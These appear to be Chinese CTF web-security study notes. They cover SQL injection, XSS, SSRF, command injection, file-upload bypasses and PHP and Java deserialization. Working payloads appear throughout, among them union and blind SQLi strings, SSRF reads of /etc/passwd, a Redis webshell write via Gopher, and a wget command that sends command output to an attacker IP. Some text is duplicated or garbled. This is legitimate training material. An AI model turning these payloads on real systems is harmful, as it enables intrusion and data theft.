web安全
一,信息收集
- HTTP头分析:通过Server字段确定后端服务器类型、开发语言及版本
- 指纹识别:使用Wappalyzer等工具通过特征文件识别
通过泄露的敏感目录,我们可以获取服务器路径、url甚至直接获取网站源码,敏感目录包括:
- 版本控制泄露:
- Git目录泄露(使用GitHacker工具还原)
- SVN目录泄露(类似Git泄露原理)
- 开发环境泄露:
- IDEA工程目录(含项目路径和数据库信息)
- 管理后台泄露:通过目录扫描发现后台地址
工具: dirsearch ffuf
- 适用场景:题目信息不足时的通用手段
- 限制情况:部分比赛禁止目录扫描(资源消耗大)
- 典型发现:www.zip源码包、管理后台路径
常见常用敏感文件

GitHacker工具使用
- <font style="color:#5C8D07;">通过pip安装GitHacker</font>
- <font style="color:#5C8D07;">操作流程</font><font style="color:#5C8D07;">:</font>
* <font style="color:#5C8D07;">下载.git目录内容</font>
* <font style="color:#5C8D07;">通过git log查看提交历史</font>
* <font style="color:#5C8D07;">使用checkout回退到含漏洞版本</font>
- <font style="color:#5C8D07;">漏洞分析</font><font style="color:#5C8D07;">:发现index.php存在命令注入漏洞</font>
- <font style="color:#5C8D07;">利用验证:通过参数执行系统命令(如ls/ ) </font>
用dirsearch扫目录,然后用GitHacker读取敏感文件
见d1
二,SQL注入
产生原因: 当开发者直接将用户输入拼接到SQL查询语句中且未做过滤时,攻击者可通过构造特殊输入改变原始SQL语义。
本质特征: 用户输入被作为SQL代码执行而非单纯的数据处理,这是与正常查询的根本区别
1.数字型注入测试方法:
- <font style="color:#5C8D07;">输入id=1返回admin</font>
- <font style="color:#5C8D07;">输入id=2-1同样返回admin</font>
- <font style="color:#5C8D07;">输入id=3-1返回null,验证注入存在</font>
union功能作用: 合并两个SELECT结果集,要求列数相同。通过id=0使前查询为空,后查询显示敏感数据。 前提要知道有password这个列和users这个表
- 实际应用:
- 构造id=0 union select password from users
- 空格需URL编码为%20


2.字符型注入:
用户输入被单引号包裹where username=’$_GET[‘username’]’,需考虑引号闭合
- 注入方法:
- 使用‘or 1=1#构造万能密码
- 单引号闭合前引号,#号注释后引号
- 特殊字符需URL编码(%27为单引号,%23为#号)

3.布尔盲注:
服务器仅返回”用户存在/不存在”二元状态时使用。
- 实现方法:
- 使用substr函数逐字符判断:’or substr(password,1,1)=’1’#
- 通过响应变化确定字符值(如返回”存在”时字符匹配成功)
- 需遍历所有可能字符(字母、数字、符号)



4.时间盲注:
.适用场景: 服务器无任何输出,仅返回固定响应时使用
- 核心方法:
- 利用MySQL内置的sleep函数人为制造时间差异
- 通过响应时间判断条件真假
- 测量工具: 使用Burp Suite测量SQL执行延时
- 示例构造:
- username=’ or sleep(1)# 产生1秒延迟
- username=’ or if(substr(password,1,1)=’3’,sleep(1),1)# 通过延时判断密码第一位是否为3



5.报错注入:
- 适用场景: 服务器返回SQL错误信息时使用
- 核心思想: 利用错误信息回显需要的数据
- 函数原型: ExtractValue(xml_frag,xpath_expr)
- 正常用法: 从XML中提取元素
- 报错利用:
- 故意构造错误的xpath语法
- 错误信息会回显xpath参数内容
- 在xpath参数前加’~’使其语法错误

- 示例构造:
- username=’ or extractvalue(1,concat(‘~’,(select ‘123’)))#
- 错误信息会显示”XPATH syntax error: ~123”
- 数据获取:
- 将查询结果与波浪号拼接
- 通过错误回显获取查询数据
- 常见报错函数:
- floor函数(主键冲突)
- updatexml函数(xpath语法错误)
- exp函数
- GeometryCollection函数
- polygon函数
- multipoint函数
6.用户插入数据位置不同导致的SQL注入点 :
- 常见位置: 主要在WHERE子句中进行条件查询时出现
- 注入特点:
- 在WHERE和ORDER BY之间插入时可以使用UNION联合查询
- 在ORDER BY之后插入时无法使用UNION,只能使用盲注或报错注入
实验步骤:
步骤1: 查看网页内容

步骤2:判断是否存在sql注入
使用‘or’1’=’1可以成功查询出数据,因此存在sql注入。

步骤3:判断查询时选择的列数
使用admin’ order by 2 #可以查询出数据

使用admin’ order by 3 #无法查询出数据

因此当前查询的列数为2
步骤4:使用union查询其他表
使用‘ union select group_concat(table_name),1 from information_schema.tables where table_schema=database() #查询同库的表,发现了users表和flag表

使用‘ union select group_concat(column_name),1 from information_schema.columns where table_name=’flag’ #查询flag表中的列名,发现一列content

步骤5:查询flag表中的flag值

使用‘ union select group_concat(content),1 from flag #,查询到flag
三,xss
- 定义: XSS(Cross-Site Scripting)是一种网站应用程序的安全漏洞,属于代码注入的一种,允许将恶意代码注入网页,影响其他观看网页的用户。
- 攻击原理: 利用网站开发时留下的漏洞,注入恶意指令代码到网页中,使用户加载并执行恶意程序。
- 常见形式: 通常包含HTML和用户端脚本语言(如JavaScript),但也可包含Java、VBScript、ActiveX、Flash等。
- 危害: 攻击成功后可能获取更高权限、窃取私密网页内容、会话和Cookie等敏感信息。
XSS的类型:
反射型XSS:
- 特点: 恶意代码未被服务器储存,每次触发时通过GET/POST方式提交,用户输入内容被直接输出到HTML中。
- 示例: PHP代码echo “hello!$name”直接从URL获取name参数并输出,攻击者可注入等恶意代码。
- 攻击方式: 通过构造恶意URL诱导用户点击,代码仅在当前页面执行。

存储型XSS
- 特点: 用户输入被保存在数据库或服务器存储中,造成持续性影响,比反射型更具威胁性。
- 示例: PHP代码将用户输入保存到文件data.txt中,每次访问页面都会读取并执行之前存储的恶意代码。
- 常见场景: 用户发布的帖子、个人信息页面等需要服务器存储用户输入的场景。

DOM型XSS
- 特点: 漏洞发生在前端而非后端,前端JavaScript直接将用户输入写入HTML DOM中。
- 示例: 静态HTML文件通过JavaScript获取URL参数并直接使用document.write()输出到页面。
- 执行差异: 只有document.write()会执行script标签内代码,而innerHTML插入的内容不会执行script标签。


. 可以用来执行XSS的标签
- script标签: 最原始方式,直接在标签内写JavaScript代码。
- 事件属性: 几乎所有标签的on事件(如onmouseover、onerror)都可执行JavaScript代码。
- 特殊标签:
利用加载错误触发

HTML5特性的XSS
- 交互需求: 许多标签的on属性需要用户交互才能触发(如需要获得焦点)。
- 自动触发: HTML5的autofocus属性可自动实现聚焦,将需要交互的XSS变为无需交互。
Javascript伪协议xss
- 定义: “javascript:”开头的伪协议,由JavaScript引擎执行而非浏览器加载资源。
- 应用场景:
- click here点击链接执行
- 特点: 提供了一种不依赖特定事件触发XSS的方式。
XSS的过滤和绕过
- 过滤层级:主要分为WAF层和代码层两层过滤机制
- WAF层:Web应用防火墙,部署在网络硬件层面,对HTTP请求进行过滤拦截
- 代码层:在Web应用开发中直接实现或引用第三方库进行输入过滤
- 绕过难点:由于JavaScript语法高度灵活,普通正则匹配和字符串比较难以有效拦截XSS攻击
富文本过滤
应用场景:邮件系统、博客平台等需要支持富文本编辑(超链接/图片/视频插入)的场景
漏洞成因:编辑器允许直接编辑HTML时,基于XSS原理产生安全风险
黑名单缺陷:若采用标签黑名单机制,可通过寻找遗漏标签实现绕过
双写绕过:当过滤器简单替换黑名单内容为空时,可通过重复关键词实现绕过(如
) 局限性:仅适用于简单替换型过滤器,现代防护多采用直接拒绝或完整删除策略
注入点在标签属性中
- 尖括号未过滤:可直接插入新标签实现攻击
- 尖括号已过滤:可通过事件属性(如onload/onerror/onmousemove等)注入
- 编码绕过:标签属性支持HTML编码,可绕过关键词过滤(如alert对应alert)
- 实操演示:通过工具将alert(1)转换为HTML实体编码后成功执行

注入点在script标签中
- 引号闭合:类似SQL注入,先闭合引号再用分号插入代码
- 双注入点:当存在两个相邻注入点时,可用反斜杠转义第一个引号,从第二个注入点插入代码
- Unicode绕过:对黑名单关键词(如eval)使用Unicode编码(如\u0065\u0076\u0061\u006c)

CSP
定义:内容安全策略(Content Security Policy)是防御XSS和数据注入的额外安全层
兼容性:设计为完全向后兼容,不支持浏览器会忽略策略采用默认同源策略
配置方式:通过HTTP头部Content-Security-Policy字段或meta标签配置
策略演示:配置script-src ‘self’限制脚本仅加载同源资源
违规警告:内联脚本执行时会触发浏览器控制台警告
指令类型:
- 获取指令(如connect-src限制请求源)
- 文档指令
- 导航指令
关键指令:
- default-src:默认加载策略
- script-src:限制JS源地址
- img-src:限制图片源地址
CSP过滤及其绕过
- 文件上传:将恶意脚本上传至同域下绕过’self’限制
- JSONP利用:
- 传统用途:解决跨域数据请求问题
- 攻击原理:通过callback参数注入恶意代码(如callback=alert(1);//)
- CSP场景:加载同域JSONP接口作为合法脚本源执行攻击代码
CVE-2020-4046漏洞分析

- 前置条件:
- 准备两个文件:
- payload.htm:包含恶意oEmbed链接
- payload.json:携带iframe载荷
- 必须部署在公网服务器(防止SSRF检测)
- 准备两个文件:
- payload设计要点:
- iframe的src指向不存在地址
- 精心构造title属性中的引号嵌套:

四,SSRF
- 基本概念:SSRF(Server Side Request Forgery)是通过构造数据伪造服务端发起请求的漏洞
- 攻击特点:请求由服务端内部发起,主要攻击目标是从外网无法访问的内部系统
- 形成原理:服务端提供从外部获取数据功能但未对目标地址、协议等参数进行过滤限制

识别ssrf
- 完整结构:scheme:[/authority]path[?query][#fragment]
- 关键组件:
- scheme:大小写不敏感的协议标识符
- authority:
- userinfo:username:passwordusername:passwordusername:password格式的身份验证信息
- host:服务器地址(域名/IPv4/IPv6)
- port:不填则使用协议默认端口(HTTP:80,FTP:21)
- path:资源路径,用”/“分层
- query:以”?”开头的查询字符串(如?name=crane?name=crane?name=crane)
- fragment:以”#”开头的片段ID,不会发送到服务端

攻击示例:
- 正常使用:url=https://www.baidu.comurl=https://www.baidu.comurl=https://www.baidu.com
- 恶意利用:url=file:///etc/passwdurl=file:///etc/passwd
- url=file:///etc/passwd
文件读取限制:以PHP运行权限为标准,只能读取PHP进程有权访问的文件
常见攻击目标:
- /etc/passwd(用户信息)
- 网站源码(如/var/www/html/index.php)
- Apache配置(/etc/apache2/)
f12url参数给出了http协议头,因此猜测可能存在SSRF漏洞—–>使用php://filter//resource=/etc/passwd可以读取到passwd文件,使用php://filter//resource=/proc/self/cwd/index.php可以读取到index.php的源码——–>发现提示,flag在根目录flag文件中——–>使用php://filter//resource=/flag读取到passwd文件
Gopherus
- 协议格式:gopher://<host>:<port>1/<url编码的TCP数据>gopher://
: gopher://<host>:<port>1/<url编码的TCP数据>1/<url编码的TCP数据> - 核心优势:
- 任意TCP模拟: 可将任意TCP协议流量进行URL编码后发送
- 无状态特性: 适合模拟HTTP、Redis等无状态协议
- 关键限制:
- 单次发送: 会一次性发送全部流量,不支持多轮交互
- 协议限制: 无法模拟需要认证的协议如MySQL
Gopher协议的支持情况
- PHP: 需编译时开启curlwrappers且版本≥5.3
- Java: 仅JDK<1.7版本支持
- Curl: 低版本不支持
- Perl: 全版本支持
- ASP.NET: 仅版本<3支持
- 特殊场景: PHP使用curl扩展时仍可通过curl_init支持
使用Gopher访问Redis

- 基本结构:
* *<参数数量>CRLF 表示数组开始
* $<参数长度>CRLF 表示字符串参数
- 攻击场景:
* 写入webshell
* 修改crontab计划任务
* 写入SSH公钥
* 加载恶意Redis模块
通过socat获取Redis协议流
- 操作流程:
- redis-cli flushall
- 通过管道写入crontab命令
- 设置存储目录为/var/spool/cron
- 设置存储文件名为root
- 执行save命令
- 操作流程:
Gopherus工具 (流量分析)
命令 python2 gopherus.py –exploit fastcgi
SSRF绕过
IP地址变形

- 进制转换:
- 十六进制: 0x7f000001
- 十进制: 2130706433
- 省略写法: 127.1代替127.0.0.1
- 特殊表示:
- Windows中0=0.0.0.0
- Linux中0=127.0.0.1
- 符号替代: 使用圈数字符号(如①)代替数字
2)利用跳转 12:41
- 302跳转: 通过可控服务器进行跳转
- 协议转换: 利用不同协议间的转换特性
- 服务限制: 依赖服务端是否允许自动跳转
利用URL解析问题 13:07
- 经典案例: http://a@127.0.0.1:80@baidu.com
- PHP解析host为baidu.com
- libcurl(<7.54.0)解析host为127.0.0.1
- 其他差异: PHP中parse_url与readfile的解析差异
4)利用DNS 15:00
- 动态解析: 使用nip.io等服务
- DNS重绑定:
- 首次解析返回合法IP
- 二次解析返回内网IP
- 防御突破: 绕过基于DNS的SSRF检测机制

看到源码识别ssrf,在使用了curl的情况下,我们就可以构造gopher协议来访问其他服务——>尝试一些常用的服务端口,使用http协议进行探测,观察相应时间和返回内容,发现redis服务—->使用工具Gopherus构造写入webshell的流量——->将工具生成的gopher流量发送到服务器中———–>工具生成的webshell在web目录的shell.php中,访问密码为cmd。利用该webshell读取根目录文件,发现flag
11
五,命令注入
- 定义:当开发者使用可执行命令的函数且未对用户输入进行安全检查时,可能造成命令注入漏洞。
- 危害:
- 直接读取flag文件内容
- 反弹shell获取服务器控制权
- 控制题目环境干扰其他队伍解题
- 常见危险函数:
- PHP:system()、exec()、shell_exec()
- Python:os.system()
- Java:Runtime.exec()







漏洞组件Node.js环境
- 运行机制: 基于V8引擎运行在操作系统层面,提供系统交互接口
- 语言特性: 使用JavaScript语法,适合开发Web服务器和小工具
- 包管理: 使用npm或yarn作为包管理工具
打开站点后直接显示了网站源码——->网站存在两个api,”/api/getServices”,”/api/checkSite”,这两个api分别用于获取系统服务和访问远程站点———–>
直接将用户输入传入给si.services会导致命令注入。
使用/api/getServices?name[]=$(sleep 1),可以观察到延时,说明存在命令注入漏洞————>通过$(which command && sleep 1)的方法,去判断command是否存在,如果存在则造成延时,不存在则不延时。最后发现存在wget、base64等命令,可以用于请求远程服务器,传递请求结果——————>在我们的主机中运行一个http服务器,监听8000端口,然后发送$(wget http://192.168.1.101:8000/?a=$(ls / | base64))到目标服务中,其中192.168.1.101是我们主机的ip地址————>在http的请求日志中观察到收集到的命令执行结果,然后将其base64解码,得到文件/flag_fa5ca659,因此再构造一个命令:$(wget http://192.168.1.101:8000/?a=$(cat /flag_fa5ca659)),在http日志中观察到flag
11
六,文件上传
- 常见场景:Web业务中常见的功能,包括上传用户头像、图片、附件等
- 安全隐患:若服务端未对上传文件做好处理,可能导致严重安全问题,如被上传木马文件造成RCE(远程代码执行)
PHP文件上传示例
- 核心函数:
- $_FILES数组:PHP内置数组,存储用户上传文件信息
- move_uploaded_file():将临时文件移动到指定位置
- 漏洞成因:直接使用用户提供的文件名保存到web可访问目录
- 攻击示例:
- 通过curl上传包含恶意代码的PHP文件
- 两种常见后门类型:
- system后门:直接执行系统命令,便于手动测试
- eval后门:执行任意PHP代码,常用于webshell管理工具
文件名截断绕过


- 操作步骤:
- 构造文件名如”1.php\x00a.jpg”
- 使用hex编辑器将空格改为”\x00”
- 上传后实际保存为”1.php”
- 字符集截断:
- 原理:iconv函数转换非常规字符时可能截断
- 示例:文件名包含”\x90”等超出UTF-8范围的字符
上传文件重命名
- 绕过方法:
- 冷门扩展名:
- PHP:php3、php5、phtml、pht
- ASP:cdx、cer、asa
- JSP:jspx
- 系统特性:
- Windows NTFS流文件:如”php::$DATA”
- 末尾点截断:Windows会忽略文件名末尾的点
- 冷门扩展名:
上传文件不重命名
上传.htaccess
- 生效条件:
* Apache版本<2.3.8(默认AllowOverride All)
* 高版本可能被发行版手动配置为All
- 利用方式:
- 注意事项:需精确匹配特定文件名才有效
上传.user.ini
- 生效条件:
* PHP≥5.3.0
* 仅CGI/FastCGI模式有效
- 关键配置:
* auto_prepend_file:指定预解析文件
* auto_append_file:指定后解析文件
- 利用步骤:
* 上传合法扩展名的木马文件
* 上传.user.ini配置预解析
* 访问同目录下任意PHP文件触发

白名单扩展名校验
IIS解析缺陷
- 目录解析特性:在IIS6.0中,”.asp”和”.asa”目录下的任何扩展名文件都会被当作ASP文件解析执行。例如目录”a.asp”中存在文件”a.asp/1.jpg”,”1.jpg”会被当作ASP文件执行。
- 分号截断特性:对于文件名”a.asp;a.jpg”,IIS会忽略分号后的内容,将文件当作”a.asp”解析执行。
Nginx解析缺陷
- 配置缺陷原理:当Nginx未设置try_files指令进行文件存在性检查,且PHP-FPM未设置”security.limit_extensions”限制时,可通过上传”1.jpg”后访问”1.jpg/1.php”触发解析缺陷。
- 执行流程:
- 上传木马文件”1.jpg”
- 访问”1.jpg/1.php”时,Nginx匹配到”.php$”规则转发给FPM
- PHP启用”cgi.fix_pathinfo”时会fallback到”1.jpg”
- 若未设置扩展名限制,PHP会执行”1.jpg”中的代码
- 安全更新:自PHP 5.3.9起,”security.limit_extensions”默认值为”.php”和”.phar”

Apache解析缺陷
- 解析规则:Apache支持多扩展名,从右向左匹配第一个已知扩展名。例如配置"AddHandler application/x-httpd-php .php"时,"a.php.jpg"会被当作PHP执行。
- 绕过技巧:使用不在Apache mime列表中的扩展名如"a.php.xxx",确保".php"是第一个匹配到的有效扩展名。


文件上传后禁止访问绕过
“.htaccess”禁止脚本文件解析 09:20
- 绕过原理:Apache 2.3.9后”AllowOverride”默认为None,使上传目录中的”.htaccess”文件失效,从而绕过禁止解析限制。
2)上传文件到OSS 10:05
- 利用方式:虽然OSS无法解析脚本,但可通过上传HTML文件实现XSS攻击,需确保OSS域名与网站一致。
3)配合文件包含 10:41
- 组合利用:当存在文件包含漏洞如”include$_GET[‘page’];”时,无论上传文件扩展名为何,均可通过文件包含执行其中的代码。

文件类型检查绕过
getimagesize绕过
- GIF头绕过:在PHP代码前添加”GIF98a”文件头,既可通过getimagesize检测,又可被PHP解析执行。
- XBM格式绕过:在文件中包含”#define width 1”和”#define height 1”定义,使getimagesize返回有效图像信息。


imagecreatefromjpeg绕过
- 工具利用:使用BlackFan的jpg_payload.php工具将脚本嵌入jpg图片,即使经过imagecreatefromjpeg转换仍保留可执行代码。
- 实现原理:将payload嵌入到图片的特定区域,避免在图像重新渲染时被清除


111
序列化与反序列化
七,PHP序列化和反序列化
- 定义:
- 序列化:将对象转换为可传输的字节序列的过程
- 反序列化:将字节序列重新转换为对象的过程
- 目的:实现对象的跨平台存储和网络传输
- 基本数据类型示例:
- 字符串:”this is a test”
- 整数:2021
- 数组:[1,2,3]
- 必要性:
- 不同机器对基本数据类型定义一致(如整型、字符串)
- 但复杂类定义(如自定义类)在不同机器间无法直接理解
- 需要序列化机制解决复杂数据类型的传输问题

序列化操作示例
- PHP序列化函数:
- serialize():将PHP值序列化为
- 字符串
- unserialize():将字符串反序列化为PHP值
- 示例解析:
- 整数60序列化结果:i:60;
- 字符串”this is a test”序列化结果:s:14:”this is a test”;
- 数组序列化结果:a:2:{s:1:”a”;i:1;s:1:”b”;i:2;}
- 反序列化验证:
- 反序列化整数60:unserialize(“i:60;”) → int(60)
- 反序列化字符串:unserialize(“s:14:"this is a test";”) → string(14) “this is a test”
- 反序列化数组:unserialize(“a:2:{s:1:"a";i:1;s:1:"b";i:2;}”) → 还原原始数




魔术方法
- 定义:PHP中以双下划线__开头的特殊方法
- 关键方法:
- __construct():对象创建(new)时自动调用,但反序列化时不调用
- __destruct():对象销毁时自动调用
- __wakeup():反序列化时自动调用
- 执行顺序:
- 反序列化时:先执行__wakeup(),脚本结束时执行__destruct()
- 创建对象时:执行__construct()


反序列化过程演示
- 安全风险:
- 恶意代码可隐藏在魔术方法中
- 示例:__wakeup()中执行system($this->test)
- 通过控制test成员变量可执行任意系统命令
- 攻击示例:
- 构造序列化字符串:O:4:”test”:1:{s:4:”test”;s:2:”ls”;}
- 反序列化时自动执行system(“ls”)命令
- 输出系统目录结构(如/bin、/boot等)
序列化特征值
- 基本格式:
- 字符串:s:size:value;
- 整数:i:value;
- 布尔:b:value;(1=true,0=false)
- 空值:N;
- 数组:a:size:{key;value;…}
- 对象:O:name_length:”name”:property_count:{s:prop_length:”prop_name”;prop_value;…}

- 对象序列化示例:
- O:4:”test”:1:{s:4:”test”;s:2:”ls”;}
- O:4:”test”:对象名”test”(长度4)
- :1::1个成员变量
- {s:4:”test”;s:2:”ls”;}:变量名”test”(长度4),值”ls”(长度2)
- O:4:”test”:1:{s:4:”test”;s:2:”ls”;}

- 注意事项:
- 反序列化前必须已定义对应类
- 未定义类时反序列化会得到__PHP_Incomplete_Class对象
- 无法调用未定义类的方法
反序列化漏洞的初级利用
Gadget构造
Gadget是什么

- 组成要素: 由不同小组件(类、函数、变量)组成的一条可用攻击链
- 本质理解: 在反序列化漏洞语境下特指通过寻找PHP应用中的类/函数/变量构造的完整调用链
- 攻击原理: 通过构造特定调用链实现在反序列化过程中执行攻击效果
PHP中的魔术方法
- 关键特性:
- 自动调用: 如__destruct()在对象销毁时、__wakeup()在反序列化时自动触发
- 相互调用: 魔术方法内部可以调用其他魔术方法
- 函数串联: 可通过魔术方法调用普通函数实现攻击链连接
- 常用方法:
- __construct(): 对象创建时调用(但unserialize时不触发)
- __toString(): 对象被当作字符串输出时触发
- __wakeup(): 反序列化时优先触发的入口点
Gadget构造示例
- 攻击目标: 触发system函数执行系统命令
- 调用链分析:
* 通过$_GET参数传入序列化数据
* unserialize()触发test类的__wakeup()
* __wakeup()实例化test2类触发__construct()
* __construct()执行system($this->test)
- 关键控制点:
* test类的$test成员变量作为system参数
* 通过序列化控制$test的值实现命令注入
- 构造步骤:
* 创建test类实例
* 设置$test为待执行命令
* 获取序列化字符串
* 通过GET参数传入触发


命名空间中的反序列化漏洞
- 核心作用: 解决两类编程问题
- 命名冲突: 用户代码与PHP内部/第三方组件命名冲突
- 别名简化: 为长标识符创建简短别名提高可读性
- 本质特性: 一种封装事物的方法,类似文件目录结构
命名空间定义方法

- 声明规则:
- 使用namespace关键字
- 必须位于所有代码之前(除declare语句)
- 影响范围:
- 类(class)
- 接口(interface)
- 函数(function)
- 常量(const)
命名空间与目录和文件的关系
- 层级结构: 支持类似目录的嵌套结构(如test\sub\level)
- 完全限定名: 实例化时需要指定完整命名空间路径(如\test\sub\level\test_class)
use关键字引入命名空间 10:16
- 作用机制: 切换当前上下文到指定命名空间
- 使用注意: 引入后实例化操作默认在use指定的命名空间下进行
全局非命名空间
- 恢复方法: 使用namespace{}语法块
- 作用范围: 大括号内代码处于全局命名空间

命名空间使用示例
- 关键发现: 序列化值包含完整命名空间路径
- 反序列化要求: 必须保持类名与原始命名空间完全一致
Laravel反序列化漏洞
- 核心区别:
* 普通反序列化只需类名
* 命名空间下需要完整限定名(如Illuminate\Foundation\Application)
- 构造要点:
* 精确匹配目标类的命名空间路径
* 序列化字符串必须包含完整命名空间信息
* 注意use语句引入的命名空间切换
PHP反序列化漏洞的高级利用
PHP中的Session反序列化
Session中的反序列化机制 00:18
- 触发条件:当调用session_start()函数或php.ini中session.auto_start设置为1时,PHP会调用会话管理器
- 存储过程:当前用户的Session会被序列化后存储到指定目录(默认为/tmp)
- 核心特点:用户Session信息会被序列化后存放到磁盘文件中

PHP处理器的三种序列化方式
- php_binary:键名长度对应的ASCII字符+键名+serialize()序列化值
- php:键名+竖线(|)+serialize()序列化值
- php_serialize:直接使用serialize()函数序列化数组方式

配置文件php.ini中与session存储配置相关的重要配置项
- session.save_path:设置session存储路径,默认为/tmp
- session.auto_start:控制会话模块是否在请求开始时启动,默认为0(不启动)
- session.serialize_handler:定义序列化/反序列化处理器名称,默认为php

示例代码分析
存储过程:使用php_serialize处理器存储GET参数到session
文件格式:存储格式为数组形式,如a:1:{s:3:”ctf”;s:17:”this is test data”;}
安全问题:当存储和读取使用不同处理器时会产生漏洞
漏洞原理:读取页面使用php处理器,会以竖线分割键值
利用方式:传入精心构造的ctf参数,如|O:3:”ctf”:1:{s:1:”a”;s:4:”ls /“;}
触发条件:访问读取页面时会自动反序列化并执行危险操作
Phar反序列化
phar文件
- 定义:PHP归档文件,用于打包PHP代码和资源文件
- 扩展名:默认使用.phar作为文件扩展名
- 特点:需要自定义PHP代码来创建和使用

phar文件结构
- stub:识别phar扩展的标识,格式为$xxx
- manifest:包含压缩文件权限、属性等信息,核心是序列化存储的metadata
- 内容:实际压缩的文件内容
- 签名:可选的文件签名部分
使用Phar类的方法
- 前提条件:php.ini中phar.readonly必须设置为0或Off
- 常用方法:
- new Phar():实例化phar对象
- startBuffering():开始缓冲写操作
- addFromString():以字符串形式添加文件
- buildFromDirectory():归档目录下所有文件
- extractTo():解压phar包
Phar伪协议
- 特点:不依赖unserialize()直接进行反序列化操作
- 利用点:读取phar文件时会反序列化metadata
- 影响范围:几乎所有文件操作函数都会触发此问题

例题:phar文件反序列化
- 创建过程:设置metadata为自定义对象,会被序列化存储
- 利用方式:通过phar://协议触发反序列化
- 触发函数:file_get_contents等文件操作函数
- 影响函数:包括但不限于file_exists、is_dir、unlink、copy等
- 完整列表:fileatime、filectime、stat、fileinode、fileowner、fileperms、readfile、fopen、is_executable、is_file、is_link、is_readable、is_writeable、parse_ini_file等

八,Java中反射与序列化
Java反射基础知识 00:26
1)反射式编程 00:28
- 核心概念:指程序在运行时(runtime)可以访问、检测和修改自身状态或行为的能力
- 典型特征:
- 通过特征值直接获取内存中的内容
- 不同于常规的代码执行流程
- 代码示例:

2)反射核心方法 01:50
- 获取类对象forName
- 功能:通过全限定类名获取Class对象
- 特点:适用性最广,不需要上下文存在实例或import语句
- 注意事项:类必须位于当前ClassLoader中
- 实例化类对象newInstance 02:03
- 功能:创建类的实例
- 限制:只能调用无参构造函数,无法访问private构造方法
- 获取类方法getMethod 02:20
- 参数要求:需要指定方法名和参数类型列表
- 重载处理:通过参数类型区分同名方法的不同实现
- 执行方法invoke 02:32
- 调用要素:需要提供方法所属对象实例和实际参数
- 执行流程:先获取Method对象,再通过invoke执行

3)获取类对象的方法 02:42



- 三种方式:
- object.getClass():需要已有实例对象
- TargetClass.class:需要已加载该类
- Class.forName():只需知道类名,适用性最广
- 类型说明:获取的是java.lang.Class类型,不是具体实例
4)Class.forName深入解析 04:07
- 方法参数
- 完整形式:Class.forName(className, true, currentLoader)
- 默认值:
- 初始化参数默认为true
- 使用当前ClassLoader查找类
- 安全影响:初始化参数在漏洞利用中很关键
JVM类加载过程 06:03
- 主要阶段:加载→验证→准备→解析→初始化
- 初始化阶段:
- 执行类构造器
() - 合并所有静态变量赋值和static{}块语句
- 执行类构造器
- 反射影响:Class.forName会触发初始化过程

- 应用案例 08:34
- 静态代码块执行 05:28

- 示例代码:
- 执行差异:
- Class.forName:只执行static块
- new Demo():完整执行所有初始化代码
- Class.forName(…, false, …):无任何输出
- 漏洞利用示例

- 利用原理:通过控制Class.forName参数执行恶意静态代码块

- 典型payload:
- Runtime反射调用 09:44
- 完整调用链:

- 关键点:
- 必须通过getRuntime()获取实例
- 不能直接newInstance()(构造方法为private)

- 构造方法处理 15:18

- 有参构造:使用getConstructor指定参数类型
- 私有构造:
- 使用getDeclaredConstructor获取私有构造方法
- 配合setAccessible(true)突破访问限制

- 静态代码块执行 05:28
3. Java序列化原理 18:02
1)反序列化函数和序列化函数 18:04

- 核心函数:Java反序列化的两个关键函数是readObject()和writeObject()
- 功能对应:
- readObject()对应PHP中的unserialize()函数
- writeObject()对应PHP中的serialize()函数
- 接口要求:类必须实现java.io.Serializable接口才能进行序列化和反序列化操作
2)应用案例 18:59
- 示例1

- 类定义:
- 方法特点:
- 与PHP不同,Java允许开发者自定义序列化/反序列化过程
- 通过重写writeObject()和readObject()方法可以修改默认行为
- 示例中在序列化时添加了额外数据”Add New Data”
- 自定义实现:
- 示例2 20:17

- 序列化过程:
- 反序列化过程:
- 运行结果:
- 参数说明:
- writeObject()需要传入要序列化的对象
- readObject()不需要参数,因为它从文件输入流中读取数据
- 文件流对象在构造时已经指定了数据来源文件
一、Java反序列化漏洞入门利用 00:00
1. 反序列化漏洞原理 00:23
1)反序列化漏洞原理介绍 00:53

- 核心机制:将带有恶意属性值的对象序列化值进行反序列化操作时,自动执行的函数调用链将被恶意属性利用,最终造成恶意函数的执行。
- 危险函数触发:当类重写readObject()方法时,若其中包含危险函数(如Runtime.getRuntime().exec()Runtime.getRuntime().exec()Runtime.getRuntime().exec())且参数可控,攻击者可通过控制成员变量实现命令执行。
- 示例说明:示例类MyObject中,若Runtime.exec()Runtime.exec()Runtime.exec()的参数改为成员变量name,攻击者通过反序列化控制name值即可实现任意命令执行。
2)通过自动存在的函数调用关系构造一个链式关系 03:15

- 调用链本质:反序列化时自动执行readObject()方法,若该方法中嵌套调用其他函数(如示例中的Runtime.exec()Runtime.exec()Runtime.exec()),形成类似”MyObject.readObject()→Runtime.exec()MyObject.readObject()→Runtime.exec()MyObject.readObject()→Runtime.exec()”的链式关系。
- 漏洞利用关键:需要找到从反序列化入口到危险函数的完整调用路径,这种多层级嵌套调用的结构被称为”利用链”(Gadget Chain)。
2. 构造Java反序列化利用链 04:20
1)URLDNS 05:08
- ysoserial命令使用示例 08:43


- 工具使用:通过命令java−jarysoserial−0.0.6−SNAPSHOT−all.jarURLDNS”http://demo.test.com"java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS “http://demo.test.com"java−jarysoserial−0.0.6−SNAPSHOT−all.jarURLDNS"http://demo.test.com"生成序列化数据,其中URLDNS指定利用链类型,http地址为触发DNS请求的目标。
- 输出特征:生成的序列化数据包含可读字符(如demo.test.comdemo.test.comdemo.test.com)和不可读二进制数据,符合Java序列化格式标准。
- 对象组装以及序列化 10:14

- 恶意对象构造:通过getObject()方法创建包含URL对象的HashMap,关键步骤包括:
- 使用SilentURLStreamHandler避免本地DNS缓存
- 通过Reflections.setFieldValue(u,”hashCode”,−1)Reflections.setFieldValue(u,”hashCode”,-1)Reflections.setFieldValue(u,”hashCode”,−1)清除hash值强制重新计算
- HashMap的键值对设置(ht.put(u,url)ht.put(u,url)ht.put(u,url))为后续触发点埋下伏笔
- hash map的调用过程 11:27
- 完整调用链:

- HashMap.readObject()→hash()→URL.hashCode()→URLStreamHandler.hashCode()→getHostAddress()HashMap.readObject()→hash()→URL.hashCode()→URLStreamHandler.hashCode()→getHostAddress()HashMap.readObject()→hash()→URL.hashCode()→URLStreamHandler.hashCode()→getHostAddress()
- 触发原理:反序列化时HashMap自动计算键的hash值,触发URL对象的hashCode方法,最终通过getHostAddress()发起DNS请求。
2)CommonsCollections 13:55
Gadget chain介绍 14:29
